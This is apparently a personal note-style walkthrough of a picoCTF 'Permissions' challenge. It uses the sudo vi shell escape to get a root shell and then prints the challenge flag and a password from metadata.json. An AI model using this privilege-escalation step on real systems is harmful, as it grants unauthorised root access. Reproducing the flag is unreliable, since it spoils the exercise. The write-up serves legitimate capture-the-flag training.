Permissions
https://play.picoctf.org/practice/challenge/363?category=5&page=3
[[Linux]] system, so [[Linux Permissions]]
sudo -lto check permissions
Matching Defaults entries for picoplayer on challenge:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User picoplayer may run the following commands on challenge:
(ALL) /usr/bin/viwe can use [[vi]]
run
sudo vi testto open up vibased on [[Good Links#^d81b34]], we can use
sudo /usr/bin/vi -c ':!/bin/sh' /dev/nullto get a interactive shellrunning the command we can see we have accessed root with [[whoami]]
# whoami
rootgo into challenge folder and read the json file
# cd challenge
# ls
metadata.json
# cat metadata.json
{"flag": "picoCTF{uS1ng_v1m_3dit0r_55878b51}", "username": "picoplayer", "password": "yX-YQgX-vS"}Last updated